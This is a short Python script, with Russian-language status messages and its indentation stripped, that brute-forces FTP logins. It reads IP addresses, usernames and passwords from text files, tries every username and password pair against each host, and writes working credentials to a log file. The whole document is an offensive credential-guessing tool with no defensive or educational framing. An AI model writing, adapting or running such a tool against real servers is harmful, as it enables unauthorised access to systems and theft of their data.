from ftplib import FTP
loginlist = open('login.txt', "r")
passwdlist = open('pass.txt', 'r')
iplist = open('ip.txt', 'r')
iplists = iplist.readlines()
loginlists = loginlist.readlines()
passwdlists = passwdlist.readlines()
for ip in iplists:
brutIp = 0
try:
ip = ip.strip()
ftp = FTP(ip, timeout=1)
print("начинаем брут: " +ip)
except:
print("Не удалось подключиться хосту: " + ip)
continue
for login in loginlists:
if brutIp == 1:
print("Переходим к следующему ip")
break
else:
print('Подбираем для логина: ' + login)
for passwd in passwdlists:
try:
login = login.strip()
passwd =passwd.strip()
ftp.login(str(login), str(passwd))
filelist = len(ftp.nlst())
ftp.quit()
if filelist != 0:
print("Логин: " + login + " Пароль: " + passwd + " Подошли к хосту: " + ip)
log = open('log.txt', 'a')
log.write("Логин: " + login + " Пароль: " + passwd + " Ip: " + ip + "\n")
log.close()
brutIp = 1
break
else:
break
except:
pass